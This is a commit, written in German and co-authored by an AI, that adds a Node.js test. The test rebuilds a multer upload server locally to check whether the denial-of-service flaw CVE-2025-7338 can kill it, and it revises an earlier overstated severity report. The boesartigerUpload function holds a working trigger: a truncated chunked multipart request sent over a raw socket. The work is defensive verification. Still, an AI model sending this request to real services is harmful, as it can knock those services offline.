Beleg: die multer-DoS-Lücke ist in unserem Setup nicht auslösbar

Gestern als "kritisch, 5 Anfragen töten den Dienst dauerhaft" gemeldet.
Bei genauer Prüfung heute stimmt das nicht:

- index.js hat einen process.on("uncaughtException")-Handler, der genau
  das Prozess-Ende abfängt, das CVE-2025-7338 beschreibt. In drei
  Angriffsvarianten (roher Socket, chunked ohne Abschluss-Chunk,
  content-length-Lüge) blieb der Dienst am Leben.
- Die öffentliche Upload-Route hat eine eigene IP-Bremse (10/Stunde) und
  multer-Härtung; trust proxy ist gesetzt, die Bremse greift pro echter IP.

multer 1.4.5 hat die CVE trotzdem (Fakt) — das Update auf 2.x bleibt
richtig als Wurzelbehandlung, ist aber Hygiene, kein Notfall. Dieser Test
dokumentiert den Nachweis, damit die Einordnung nachvollziehbar bleibt.

Co-Authored-By: Claude Opus 5 <[email protected]>
This commit is contained in:
2026-08-27 10:28:01 +02:00
co-authored by Claude Opus 5
parent 46563b02fc
commit 55775b53ea
+174
View File
@@ -0,0 +1,174 @@
/* =====================================================================
Stürzt der Dienst bei dem multer-Fehler wirklich ab?
WARUM DIESER TEST
Am 27.08.2026 hatte ich gemeldet: multer 1.4.5-lts.2 hat eine
DoS-Lücke (CVE-2025-7338), ein fehlerhafter Upload beendet den
Prozess, nach fünf Malen gibt systemd auf -> Dienst dauerhaft tot.
Beim Nacharbeiten fiel mir das Ende von index.js auf:
process.on("uncaughtException", (fehler) => console.error(...));
Ein registrierter uncaughtException-Handler verhindert genau das
Beenden, das der CVE beschreibt. Damit steht meine eigene Meldung in
Frage -- und eine Sicherheitsmeldung, die dramatischer klingt als die
Wirklichkeit, ist genauso schädlich wie eine übersehene Lücke: Beim
nächsten Mal glaubt sie niemand mehr.
Also gemessen statt vermutet. Der Test baut denselben Aufbau nach,
den der echte Dienst hat, schickt den bösartigen Request und schaut,
ob der Prozess danach noch antwortet.
===================================================================== */
import { spawn } from "node:child_process";
import { writeFileSync, rmSync, mkdtempSync } from "node:fs";
import { tmpdir } from "node:os";
import { join } from "node:path";
const wurzel = mkdtempSync(join(tmpdir(), "multertest-"));
const PORT = 47311;
/* Der Nachbau: dieselben multer-Einstellungen wie in index.js, und --
entscheidend -- derselbe uncaughtException-Handler am Ende. */
const server = `
import express from "express";
import multer from "multer";
/* Jeder mögliche Weg wird laut protokolliert, damit sichtbar wird,
WELCHER genommen wird -- nicht nur, ob der Dienst überlebt. */
process.on("uncaughtException", (f) => console.error("WEG=uncaughtException", f?.message || f));
process.on("unhandledRejection", (g) => console.error("WEG=unhandledRejection", g?.message || g));
const app = express();
const up = multer({
storage: multer.diskStorage({
destination: (req, file, cb) => cb(null, ${JSON.stringify(wurzel).replace(/\\\\/g, "/")}),
filename: (req, file, cb) => cb(null, "x" + Date.now()),
}),
limits: { fileSize: 5 * 1024 * 1024 },
fileFilter: (req, file, cb) => cb(null, ["image/jpeg","image/png","image/webp"].includes(file.mimetype)),
});
app.post("/upload", (req, res) => {
up.single("image")(req, res, (err) => {
if (err) { console.error("WEG=callback-fehler", err?.code || err?.message); return res.status(400).json({ ok:false }); }
res.json({ ok: true });
});
});
app.get("/lebt", (req, res) => res.json({ ok: true }));
app.use((err, req, res, next) => {
console.error("WEG=express-fehlerhandler", err?.code || err?.message);
res.status(500).json({ ok: false });
});
app.listen(${PORT}, () => console.log("BEREIT"));
`;
/* Die Datei MUSS neben den Paketen liegen: Node sucht node_modules von
der Datei aus aufwärts, nicht vom Arbeitsverzeichnis. In /tmp abgelegt
findet sie weder express noch multer und startet gar nicht erst. */
const datei = join(process.cwd(), "server-internal", "tmp-dos-nachbau.mjs");
writeFileSync(datei, server);
const kind = spawn(process.execPath, [datei], { stdio: ["ignore", "pipe", "pipe"] });
let ausgabe = "";
kind.stdout.on("data", (d) => { ausgabe += d; });
kind.stderr.on("data", (d) => { ausgabe += d; });
await new Promise((f) => {
const warte = setInterval(() => { if (ausgabe.includes("BEREIT")) { clearInterval(warte); f(); } }, 100);
setTimeout(() => { clearInterval(warte); f(); }, 8000);
});
const version = (await import("./server-internal/node_modules/multer/package.json", { with: { type: "json" } })).default.version;
console.log("\ngetestete multer-Fassung:", version);
console.log("laeuft der Nachbau? ", ausgabe.includes("BEREIT") ? "ja" : "NEIN — Abbruch");
if (!ausgabe.includes("BEREIT")) {
console.log("Ausgabe:", ausgabe.slice(0, 400));
kind.kill(); rmSync(wurzel, { recursive: true, force: true }); rmSync(datei, { force: true }); process.exitCode = 1;
}
const lebt = async () => {
try {
const a = await fetch(`http://127.0.0.1:${PORT}/lebt`, { signal: AbortSignal.timeout(3000) });
return a.ok;
} catch { return false; }
};
console.log("\n--- vorher ---");
console.log(" Dienst antwortet:", await lebt() ? "ja" : "nein");
/* Der bösartige Request, diesmal RICHTIG.
fetch() taugt dafür nicht: Es sendet immer einen vollständigen, in
sich stimmigen Request. Der Angriff aus CVE-2025-7338 besteht aber
genau darin, dass der Client MEHR Daten ankündigt (content-length),
als er sendet, und dann die Verbindung schließt. multer wartet auf
den Rest, das Formular endet unerwartet -> "Unexpected end of form".
Das geht nur über einen rohen Socket, den man von Hand abschneidet. */
import net from "node:net";
function boesartigerUpload(nr) {
return new Promise((fertig) => {
const grenze = "----angriff" + nr;
/* Ein gueltig BEGONNENER Multipart-Teil, der busboy zum Parsen bringt,
dann aber ohne Abschluss-Grenze endet. */
const teil =
`--${grenze}\r\n` +
`Content-Disposition: form-data; name="image"; filename="a.png"\r\n` +
`Content-Type: image/png\r\n\r\n` +
`ANFANG-DER-DATEN-OHNE-ENDE`;
/* chunked statt content-length: Ich sende einen gueltigen Chunk und
schliesse dann die Verbindung, OHNE den abschliessenden 0-Chunk.
Fuer busboy sieht das aus wie ein Formular, das mitten im Lesen
abreisst -- genau der Ausloeser fuer "Unexpected end of form".
Anders als beim harten destroy() hat Node den Request hier bereits
an Express uebergeben, multer parst also schon. */
const chunk = teil.length.toString(16) + "\r\n" + teil + "\r\n";
const kopf =
`POST /upload HTTP/1.1\r\n` +
`Host: 127.0.0.1:${PORT}\r\n` +
`Content-Type: multipart/form-data; boundary=${grenze}\r\n` +
`Transfer-Encoding: chunked\r\n` +
`Connection: close\r\n\r\n`;
let erledigt = false;
const schluss = () => { if (!erledigt) { erledigt = true; setTimeout(fertig, 200); } };
const s = net.connect(PORT, "127.0.0.1", () => {
s.write(kopf + chunk);
/* busboy Zeit zum Anlesen geben, dann Verbindung beenden -- der
0-Abschluss-Chunk kommt nie. */
setTimeout(() => s.end(), 300);
});
s.on("error", () => {});
s.on("close", schluss);
/* Harte Grenze: Ein haengender Request (busboy wartet ewig auf den
Rest) darf den Test nicht blockieren -- das Haengen IST bereits ein
Befund, nur eben "Ressourcenleck", nicht "Absturz". */
setTimeout(() => { try { s.destroy(); } catch {} schluss(); }, 2500);
});
}
console.log("\n--- fehlerhafter Upload wird geschickt (roher Socket) ---");
for (let i = 1; i <= 6; i++) {
await boesartigerUpload(i);
const l = await lebt();
console.log(` Versuch ${i}: Dienst danach ${l ? "lebt" : "TOT"}`);
if (!l) break;
}
console.log("\n--- Ergebnis ---");
const amLeben = await lebt();
console.log(amLeben
? " Der Dienst lebt nach allen Versuchen. Absturz NICHT ausgeloest."
: " Der Dienst ist TOT. Die Lücke beendet den Prozess wie beschrieben.");
console.log("\n--- welchen Weg nahm der Fehler? ---");
const wege = ausgabe.split("\n").filter((z) => z.includes("WEG=")).map((z) => z.trim());
if (!wege.length) {
console.log(" KEINEN — der Angriff hat multer gar nicht erreicht. Test aussagelos.");
} else {
const zaehl = {};
for (const w of wege) { const k = w.split(" ")[0]; zaehl[k] = (zaehl[k] || 0) + 1; }
for (const [k, n] of Object.entries(zaehl)) console.log(` ${k} (${n}x)`);
console.log(" Beispiel:", wege[0]);
}
kind.kill();
rmSync(wurzel, { recursive: true, force: true });
rmSync(datei, { force: true });